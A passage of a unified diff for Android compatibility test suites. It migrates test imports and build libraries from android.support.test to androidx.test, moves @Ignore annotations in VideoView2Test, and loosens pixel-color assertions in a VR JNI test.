@@ -27,13 +27,14 @@
 import android.content.Context;
 import android.graphics.drawable.Drawable;
 import android.graphics.drawable.StateListDrawable;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.SmallTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
 import android.widget.ToggleButton;
 
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.SmallTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
diff --git a/tests/tests/widget/src/android/widget/cts/ToolbarTest.java b/tests/tests/widget/src/android/widget/cts/ToolbarTest.java
index ff4da10..165b519 100644
--- a/tests/tests/widget/src/android/widget/cts/ToolbarTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ToolbarTest.java
@@ -32,11 +32,6 @@
 import android.graphics.Color;
 import android.graphics.drawable.Drawable;
 import android.os.SystemClock;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.KeyEvent;
 import android.view.Menu;
 import android.view.MenuItem;
@@ -44,6 +39,12 @@
 import android.widget.Toolbar;
 import android.widget.cts.util.TestUtils;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.WidgetTestUtils;
 
 import org.junit.Before;
diff --git a/tests/tests/widget/src/android/widget/cts/ToolbarWithMarginsTest.java b/tests/tests/widget/src/android/widget/cts/ToolbarWithMarginsTest.java
index 5bba423..dfc0f91 100644
--- a/tests/tests/widget/src/android/widget/cts/ToolbarWithMarginsTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ToolbarWithMarginsTest.java
@@ -18,12 +18,13 @@
 
 import static org.junit.Assert.assertEquals;
 
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.widget.Toolbar;
 
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
diff --git a/tests/tests/widget/src/android/widget/cts/TwoLineListItemTest.java b/tests/tests/widget/src/android/widget/cts/TwoLineListItemTest.java
index f931a63..43806e0 100644
--- a/tests/tests/widget/src/android/widget/cts/TwoLineListItemTest.java
+++ b/tests/tests/widget/src/android/widget/cts/TwoLineListItemTest.java
@@ -24,15 +24,16 @@
 import android.app.Activity;
 import android.content.Context;
 import android.content.res.Resources;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
 import android.widget.RelativeLayout.LayoutParams;
 import android.widget.TextView;
 import android.widget.TwoLineListItem;
 
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
diff --git a/tests/tests/widget/src/android/widget/cts/VideoView2Test.java b/tests/tests/widget/src/android/widget/cts/VideoView2Test.java
index 3043f45..4908cdf 100644
--- a/tests/tests/widget/src/android/widget/cts/VideoView2Test.java
+++ b/tests/tests/widget/src/android/widget/cts/VideoView2Test.java
@@ -18,8 +18,7 @@
 
 import static android.content.Context.KEYGUARD_SERVICE;
 
-import static junit.framework.Assert.assertEquals;
-
+import static org.junit.Assert.assertEquals;
 import static org.mockito.Matchers.same;
 import static org.mockito.Mockito.mock;
 import static org.mockito.Mockito.timeout;
@@ -32,16 +31,17 @@
 import android.media.AudioAttributes;
 import android.media.session.MediaController;
 import android.media.session.PlaybackState;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.LargeTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.Log;
 import android.view.View;
 import android.view.WindowManager;
 import android.widget.VideoView2;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.LargeTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.MediaUtils;
 
 import org.junit.After;
@@ -60,7 +60,6 @@
 /**
  * Test {@link VideoView2}.
  */
-@Ignore
 @LargeTest
 @RunWith(AndroidJUnit4.class)
 public class VideoView2Test {
@@ -143,6 +142,7 @@
 
     @UiThreadTest
     @Test
+    @Ignore
     public void testConstructor() {
         new VideoView2(mActivity);
         new VideoView2(mActivity, null);
@@ -150,6 +150,7 @@
     }
 
     @Test
+    @Ignore
     public void testPlayVideo() throws Throwable {
         // Don't run the test if the codec isn't supported.
         if (!hasCodec()) {
@@ -173,6 +174,7 @@
     }
 
     @Test
+    @Ignore
     public void testPlayVideoOnTextureView() throws Throwable {
         // Don't run the test if the codec isn't supported.
         if (!hasCodec()) {
diff --git a/tests/tests/widget/src/android/widget/cts/VideoViewTest.java b/tests/tests/widget/src/android/widget/cts/VideoViewTest.java
index 6cc3800..986e024 100644
--- a/tests/tests/widget/src/android/widget/cts/VideoViewTest.java
+++ b/tests/tests/widget/src/android/widget/cts/VideoViewTest.java
@@ -36,16 +36,17 @@
 import android.media.AudioPlaybackConfiguration;
 import android.media.MediaPlayer;
 import android.os.SystemClock;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.LargeTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.Log;
 import android.view.View.MeasureSpec;
 import android.widget.MediaController;
 import android.widget.VideoView;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.LargeTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.MediaUtils;
 
 import org.junit.Before;
diff --git a/tests/tests/widget/src/android/widget/cts/ViewAnimatorTest.java b/tests/tests/widget/src/android/widget/cts/ViewAnimatorTest.java
index 7710dcc..9fa68e4 100644
--- a/tests/tests/widget/src/android/widget/cts/ViewAnimatorTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ViewAnimatorTest.java
@@ -22,10 +22,6 @@
 import static org.junit.Assert.assertTrue;
 
 import android.app.Activity;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
 import android.util.Xml;
 import android.view.View;
@@ -36,6 +32,11 @@
 import android.widget.RelativeLayout;
 import android.widget.ViewAnimator;
 
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
diff --git a/tests/tests/widget/src/android/widget/cts/ViewFlipperTest.java b/tests/tests/widget/src/android/widget/cts/ViewFlipperTest.java
index b135745..1cd5c26 100644
--- a/tests/tests/widget/src/android/widget/cts/ViewFlipperTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ViewFlipperTest.java
@@ -24,18 +24,19 @@
 import android.app.Activity;
 import android.app.Instrumentation;
 import android.os.SystemClock;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.LargeTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
 import android.util.Xml;
 import android.view.View;
 import android.widget.TextView;
 import android.widget.ViewFlipper;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.LargeTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
diff --git a/tests/tests/widget/src/android/widget/cts/ViewSwitcherTest.java b/tests/tests/widget/src/android/widget/cts/ViewSwitcherTest.java
index 9088ba0..bfb6afd 100644
--- a/tests/tests/widget/src/android/widget/cts/ViewSwitcherTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ViewSwitcherTest.java
@@ -23,9 +23,6 @@
 import static org.junit.Assert.fail;
 
 import android.content.Context;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
 import android.util.Xml;
 import android.view.View;
@@ -34,6 +31,10 @@
 import android.widget.ViewSwitcher;
 import android.widget.ViewSwitcher.ViewFactory;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/widget/src/android/widget/cts/ZoomButtonTest.java b/tests/tests/widget/src/android/widget/cts/ZoomButtonTest.java
index 84eba18..acd0c4c 100644
--- a/tests/tests/widget/src/android/widget/cts/ZoomButtonTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ZoomButtonTest.java
@@ -22,12 +22,6 @@
 
 import android.app.Activity;
 import android.app.Instrumentation;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.LargeTest;
-import android.support.test.filters.SmallTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
 import android.util.Xml;
 import android.view.View;
@@ -35,6 +29,13 @@
 import android.widget.ListView;
 import android.widget.ZoomButton;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.LargeTest;
+import androidx.test.filters.SmallTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.CtsTouchUtils;
 
 import org.junit.Before;
diff --git a/tests/tests/widget/src/android/widget/cts/ZoomControlsTest.java b/tests/tests/widget/src/android/widget/cts/ZoomControlsTest.java
index ab0f940..58f2416 100644
--- a/tests/tests/widget/src/android/widget/cts/ZoomControlsTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ZoomControlsTest.java
@@ -21,13 +21,14 @@
 import static org.junit.Assert.assertTrue;
 
 import android.content.Context;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.View;
 import android.widget.ZoomControls;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/wrap/nowrap/Android.mk b/tests/tests/wrap/nowrap/Android.mk
index 8fd1015..50bb312 100644
--- a/tests/tests/wrap/nowrap/Android.mk
+++ b/tests/tests/wrap/nowrap/Android.mk
@@ -22,8 +22,8 @@
 LOCAL_DEX_PREOPT := false
 LOCAL_PROGUARD_ENABLED := disabled
 LOCAL_STATIC_JAVA_LIBRARIES := \
-	compatibility-device-util \
-	android-support-test
+	compatibility-device-util-axt \
+	androidx.test.rules
 LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
 LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
diff --git a/tests/tests/wrap/nowrap/AndroidManifest.xml b/tests/tests/wrap/nowrap/AndroidManifest.xml
index 6145390..04d6261 100644
--- a/tests/tests/wrap/nowrap/AndroidManifest.xml
+++ b/tests/tests/wrap/nowrap/AndroidManifest.xml
@@ -31,7 +31,7 @@
 
     <!--  self-instrumenting test package. -->
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:label="CTS tests for wrap.sh"
         android:targetPackage="android.wrap.nowrap.cts" >
     </instrumentation>
diff --git a/tests/tests/wrap/wrap_debug/Android.mk b/tests/tests/wrap/wrap_debug/Android.mk
index c67e191..fbd4b8e 100644
--- a/tests/tests/wrap/wrap_debug/Android.mk
+++ b/tests/tests/wrap/wrap_debug/Android.mk
@@ -22,8 +22,8 @@
 LOCAL_DEX_PREOPT := false
 LOCAL_PROGUARD_ENABLED := disabled
 LOCAL_STATIC_JAVA_LIBRARIES := \
-	compatibility-device-util \
-	android-support-test
+	compatibility-device-util-axt \
+	androidx.test.rules
 LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
 LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
diff --git a/tests/tests/wrap/wrap_debug/AndroidManifest.xml b/tests/tests/wrap/wrap_debug/AndroidManifest.xml
index f371108..99eff43 100644
--- a/tests/tests/wrap/wrap_debug/AndroidManifest.xml
+++ b/tests/tests/wrap/wrap_debug/AndroidManifest.xml
@@ -31,7 +31,7 @@
 
     <!--  self-instrumenting test package. -->
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:label="CTS tests for wrap.sh"
         android:targetPackage="android.wrap.wrap_debug.cts" >
     </instrumentation>
diff --git a/tests/tests/wrap/wrap_debug_malloc_debug/Android.mk b/tests/tests/wrap/wrap_debug_malloc_debug/Android.mk
index b768dcf..336c7bd 100644
--- a/tests/tests/wrap/wrap_debug_malloc_debug/Android.mk
+++ b/tests/tests/wrap/wrap_debug_malloc_debug/Android.mk
@@ -22,8 +22,8 @@
 LOCAL_DEX_PREOPT := false
 LOCAL_PROGUARD_ENABLED := disabled
 LOCAL_STATIC_JAVA_LIBRARIES := \
-	compatibility-device-util \
-	android-support-test
+	compatibility-device-util-axt \
+	androidx.test.rules
 LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
 LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
diff --git a/tests/tests/wrap/wrap_debug_malloc_debug/AndroidManifest.xml b/tests/tests/wrap/wrap_debug_malloc_debug/AndroidManifest.xml
index a359f17..47c1847 100644
--- a/tests/tests/wrap/wrap_debug_malloc_debug/AndroidManifest.xml
+++ b/tests/tests/wrap/wrap_debug_malloc_debug/AndroidManifest.xml
@@ -31,7 +31,7 @@
 
     <!--  self-instrumenting test package. -->
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:label="CTS tests for wrap.sh"
         android:targetPackage="android.wrap.wrap_debug_malloc_debug.cts" >
     </instrumentation>
diff --git a/tests/tests/wrap/wrap_nodebug/Android.mk b/tests/tests/wrap/wrap_nodebug/Android.mk
index 3317f3c..15081b7 100644
--- a/tests/tests/wrap/wrap_nodebug/Android.mk
+++ b/tests/tests/wrap/wrap_nodebug/Android.mk
@@ -22,8 +22,8 @@
 LOCAL_DEX_PREOPT := false
 LOCAL_PROGUARD_ENABLED := disabled
 LOCAL_STATIC_JAVA_LIBRARIES := \
-	compatibility-device-util \
-	android-support-test
+	compatibility-device-util-axt \
+	androidx.test.rules
 LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
 LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
diff --git a/tests/tests/wrap/wrap_nodebug/AndroidManifest.xml b/tests/tests/wrap/wrap_nodebug/AndroidManifest.xml
index 127e6a8..60a2888 100644
--- a/tests/tests/wrap/wrap_nodebug/AndroidManifest.xml
+++ b/tests/tests/wrap/wrap_nodebug/AndroidManifest.xml
@@ -31,7 +31,7 @@
 
     <!--  self-instrumenting test package. -->
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:label="CTS tests for wrap.sh"
         android:targetPackage="android.wrap.wrap_nodebug.cts" >
     </instrumentation>
diff --git a/tests/tvprovider/Android.mk b/tests/tvprovider/Android.mk
index 5595519..cccf2c1 100644
--- a/tests/tvprovider/Android.mk
+++ b/tests/tvprovider/Android.mk
@@ -18,7 +18,7 @@
 # don't include this package in any target
 LOCAL_MODULE_TAGS := optional
 
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util-axt ctstestrunner-axt
 
 LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
 
diff --git a/tests/tvprovider/AndroidManifest.xml b/tests/tvprovider/AndroidManifest.xml
index 40714a6..3ed7678 100644
--- a/tests/tvprovider/AndroidManifest.xml
+++ b/tests/tvprovider/AndroidManifest.xml
@@ -25,7 +25,7 @@
         <uses-library android:name="android.test.runner" />
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
             android:targetPackage="android.tvprovider.cts"
             android:label="CTS tests for TV Provider" />
 </manifest>
diff --git a/tests/ui/Android.mk b/tests/ui/Android.mk
index 2ff427d..9a465fc 100644
--- a/tests/ui/Android.mk
+++ b/tests/ui/Android.mk
@@ -20,7 +20,7 @@
 
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util-axt ctstestrunner-axt
 
 LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
 
diff --git a/tests/ui/AndroidManifest.xml b/tests/ui/AndroidManifest.xml
index 56826f9..08477e8 100644
--- a/tests/ui/AndroidManifest.xml
+++ b/tests/ui/AndroidManifest.xml
@@ -37,7 +37,7 @@
     </application>
 
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:label="UI Latency measurement"
         android:targetPackage="android.ui.cts" >
         <meta-data
diff --git a/tests/ui/src/android/ui/cts/WatchPercentageScreenDimenTest.java b/tests/ui/src/android/ui/cts/WatchPercentageScreenDimenTest.java
index c550f82..d04c7d8 100644
--- a/tests/ui/src/android/ui/cts/WatchPercentageScreenDimenTest.java
+++ b/tests/ui/src/android/ui/cts/WatchPercentageScreenDimenTest.java
@@ -17,13 +17,15 @@
 
 import android.content.Context;
 import android.content.res.Configuration;
-import android.content.res.Resources;
 import android.content.res.TypedArray;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
 import android.test.suitebuilder.annotation.SmallTest;
 import android.util.DisplayMetrics;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
 import junit.framework.Assert;
+
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/video/Android.mk b/tests/video/Android.mk
index 30d8771..f922734 100644
--- a/tests/video/Android.mk
+++ b/tests/video/Android.mk
@@ -23,7 +23,7 @@
 # include both the 32 and 64 bit versions
 LOCAL_MULTILIB := both
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctsmediautil compatibility-device-util ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := ctsmediautil compatibility-device-util-axt ctstestrunner-axt
 
 LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
 
diff --git a/tests/video/AndroidManifest.xml b/tests/video/AndroidManifest.xml
index 22dad9e..534fc3d 100644
--- a/tests/video/AndroidManifest.xml
+++ b/tests/video/AndroidManifest.xml
@@ -23,7 +23,7 @@
     <application>
         <uses-library android:name="android.test.runner" />
     </application>
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
             android:targetPackage="android.video.cts"
             android:label="CTS tests for Video" >
         <meta-data
diff --git a/tests/vm/Android.mk b/tests/vm/Android.mk
index 8391815..033f3ff 100755
--- a/tests/vm/Android.mk
+++ b/tests/vm/Android.mk
@@ -25,7 +25,7 @@
 
 LOCAL_PROGUARD_ENABLED := disabled
 
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util-axt androidx.test.rules
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/tests/vm/AndroidManifest.xml b/tests/vm/AndroidManifest.xml
index cbd2c90..a08228b 100755
--- a/tests/vm/AndroidManifest.xml
+++ b/tests/vm/AndroidManifest.xml
@@ -24,7 +24,7 @@
 
     <!--  self-instrumenting test package. -->
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:label="CTS VM test cases"
         android:targetPackage="android.vm.cts" >
     </instrumentation>
diff --git a/tests/vr/Android.mk b/tests/vr/Android.mk
index dfd5655..d939f0b 100644
--- a/tests/vr/Android.mk
+++ b/tests/vr/Android.mk
@@ -27,7 +27,7 @@
 # When built, explicitly put it in the data partition.
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner compatibility-device-util
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt compatibility-device-util-axt
 
 LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
 
diff --git a/tests/vr/AndroidManifest.xml b/tests/vr/AndroidManifest.xml
index 1271665..cc60bd2 100644
--- a/tests/vr/AndroidManifest.xml
+++ b/tests/vr/AndroidManifest.xml
@@ -23,7 +23,7 @@
     <uses-sdk android:minSdkVersion="14" />
     <uses-feature android:glEsVersion="0x00020000"/>
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:targetPackage="android.vr.cts" >
         <meta-data android:name="listener"
             android:value="com.android.cts.runner.CtsTestRunListener" />
diff --git a/tests/vr/jni/VrExtensionsJni.cpp b/tests/vr/jni/VrExtensionsJni.cpp
index 4ab4e2a..4495621 100644
--- a/tests/vr/jni/VrExtensionsJni.cpp
+++ b/tests/vr/jni/VrExtensionsJni.cpp
@@ -86,10 +86,19 @@
     ASSERT((a) != (b), "assert failed on (" #a ") at " __FILE__ ":%d", __LINE__)
 #define ASSERT_GT(a, b) \
     ASSERT((a) > (b), "assert failed on (" #a ") at " __FILE__ ":%d", __LINE__)
-#define ASSERT_NEAR(a, b, delta)                     \
-    ASSERT((a - delta) <= (b) && (b) <= (a + delta), \
+#define ASSERT_NEAR_RGBA(a, b, delta) \
+    ASSERT(areNearRgba(a, b, delta),  \
            "assert failed on (" #a ") at " __FILE__ ":%d", __LINE__)
 
+bool areNearRgba(int32_t actual, int32_t expected, int delta) {
+    for (int shift = 0; shift < 32; shift += 8) {
+        if (std::abs((actual >> shift & 0xFF) - (expected >> shift & 0xFF)) > delta) {
+            return false;
+        }
+    }
+    return true;
+}
+
 void fail(JNIEnv* env, const char* format, ...) {
     va_list args;
     va_start(args, format);
@@ -107,8 +116,8 @@
                               int nsamples) {
     ASSERT_GT(desc.layers, 1);
     AHardwareBuffer* hwbuffer = nullptr;
-    int error = AHardwareBuffer_allocate(&desc, &hwbuffer);
-    ASSERT_FALSE(error);
+    // If the format is unsupported and allocation fails, skip the test.
+    if (AHardwareBuffer_allocate(&desc, &hwbuffer) != NO_ERROR) return;
     // Create EGLClientBuffer from the AHardwareBuffer.
     EGLClientBuffer native_buffer = eglGetNativeClientBufferANDROID(hwbuffer);
     ASSERT_TRUE(native_buffer);
@@ -256,7 +265,8 @@
     JNIEnv* env, jclass /* unused */) {
     // First, check for EXT_external_buffer in the extension string.
     auto exts = reinterpret_cast<const char*>(glGetString(GL_EXTENSIONS));
-    ASSERT_TRUE(exts && strstr(exts, "GL_EXT_external_buffer"));
+    ASSERT_TRUE(exts);
+    if (strstr(exts, "GL_EXT_external_buffer") == nullptr) return;
     // Next, load entry points provided by extensions.
     LOAD_PROC(eglGetNativeClientBufferANDROID, PFNEGLGETNATIVECLIENTBUFFERANDROID);
     ASSERT_NE(eglGetNativeClientBufferANDROID, nullptr);
@@ -461,8 +471,7 @@
         glEGLImageTargetTexture2DOES(GL_TEXTURE_2D, image);
     } else {
         GLenum internal_format = use_srgb_format ? GL_SRGB8_ALPHA8_EXT : GL_RGBA8_OES;
-        GLenum format = use_srgb_format ? GL_SRGB_ALPHA_EXT : GL_RGBA;
-        glTexImage2D(GL_TEXTURE_2D, 0, internal_format, kTextureWidth, 1, 0, format,
+        glTexImage2D(GL_TEXTURE_2D, 0, internal_format, kTextureWidth, 1, 0, GL_RGBA,
                      GL_UNSIGNED_BYTE, kTextureData);
     }
     glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_LINEAR);
@@ -541,8 +550,7 @@
         glEGLImageTargetTexture2DOES(GL_TEXTURE_2D, image);
     } else {
         GLenum internal_format = use_srgb_format ? GL_SRGB8_ALPHA8_EXT : GL_RGBA8_OES;
-        GLenum format = use_srgb_format ? GL_SRGB_ALPHA_EXT : GL_RGBA;
-        glTexImage2D(GL_TEXTURE_2D, 0, internal_format, 1, 1, 0, format,
+        glTexImage2D(GL_TEXTURE_2D, 0, internal_format, 1, 1, 0, GL_RGBA,
                      GL_UNSIGNED_BYTE, nullptr);
     }
     glFramebufferTexture2D(GL_FRAMEBUFFER, GL_COLOR_ATTACHMENT0,
@@ -560,7 +568,7 @@
     uint32_t cleared_color = 0;
     glReadPixels(0, 0, 1, 1, GL_RGBA, GL_UNSIGNED_BYTE, &cleared_color);
     LOGV("  Cleared Color: %8.8X", cleared_color);
-    ASSERT_EQ(cleared_color, kBlendDestColor);
+    ASSERT_NEAR_RGBA(cleared_color, kBlendDestColor, 1);
     // Draw the texture.
     glEnable(GL_BLEND);
     glBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA);
@@ -638,20 +646,20 @@
     uint32_t middle_pixel;
     // First do a sanity check with plain old pre-linearized textures.
     testLinearMagnification(env, 0, &middle_pixel);
-    ASSERT_NEAR(middle_pixel, kExpectedMiddlePixel_NoSrgb, 1);
+    ASSERT_NEAR_RGBA(middle_pixel, kExpectedMiddlePixel_NoSrgb, 1);
     testLinearMagnification(env, SrgbFlag::kHardwareBuffer, &middle_pixel);
-    ASSERT_NEAR(middle_pixel, kExpectedMiddlePixel_NoSrgb, 1);
+    ASSERT_NEAR_RGBA(middle_pixel, kExpectedMiddlePixel_NoSrgb, 1);
     // Try a "normally allocated" OpenGL texture with an sRGB source format.
     testLinearMagnification(env, SrgbFlag::kSrgbFormat, &middle_pixel);
-    ASSERT_NEAR(middle_pixel, kExpectedMiddlePixel_LinearizeBeforeFiltering, 1);
+    ASSERT_NEAR_RGBA(middle_pixel, kExpectedMiddlePixel_LinearizeBeforeFiltering, 1);
     // Try EGL_EXT_image_gl_colorspace.
     if (egl_colorspace_supported) {
         testLinearMagnification(env, SrgbFlag::kHardwareBuffer | SrgbFlag::kEglColorspaceDefault, &middle_pixel);
-        ASSERT_NEAR(middle_pixel, kExpectedMiddlePixel_NoSrgb, 1);
+        ASSERT_NEAR_RGBA(middle_pixel, kExpectedMiddlePixel_NoSrgb, 1);
         testLinearMagnification(env, SrgbFlag::kHardwareBuffer | SrgbFlag::kEglColorspaceLinear, &middle_pixel);
-        ASSERT_NEAR(middle_pixel, kExpectedMiddlePixel_NoSrgb, 1);
+        ASSERT_NEAR_RGBA(middle_pixel, kExpectedMiddlePixel_NoSrgb, 1);
         testLinearMagnification(env, SrgbFlag::kHardwareBuffer | SrgbFlag::kEglColorspaceSrgb, &middle_pixel);
-        ASSERT_NEAR(middle_pixel, kExpectedMiddlePixel_LinearizeBeforeFiltering, 1);
+        ASSERT_NEAR_RGBA(middle_pixel, kExpectedMiddlePixel_LinearizeBeforeFiltering, 1);
     }
 
     // Blending test.
@@ -660,19 +668,19 @@
     uint32_t final_color;
     // First do a sanity check with plain old pre-linearized textures.
     testFramebufferBlending(env, 0, &final_color);
-    ASSERT_NEAR(final_color, kExpectedBlendedPixel_NoSrgb, 1);
+    ASSERT_NEAR_RGBA(final_color, kExpectedBlendedPixel_NoSrgb, 1);
     testFramebufferBlending(env, SrgbFlag::kHardwareBuffer, &final_color);
-    ASSERT_NEAR(final_color, kExpectedBlendedPixel_NoSrgb, 1);
+    ASSERT_NEAR_RGBA(final_color, kExpectedBlendedPixel_NoSrgb, 1);
     // Try a "normally allocated" OpenGL texture with an sRGB source format.
     testFramebufferBlending(env, SrgbFlag::kSrgbFormat, &final_color);
-    ASSERT_NEAR(final_color, kExpectedBlendedPixel_Srgb, 1);
+    ASSERT_NEAR_RGBA(final_color, kExpectedBlendedPixel_Srgb, 1);
     // Try EGL_EXT_image_gl_colorspace.
     if (egl_colorspace_supported) {
         testFramebufferBlending(env, SrgbFlag::kHardwareBuffer | SrgbFlag::kEglColorspaceDefault, &final_color);
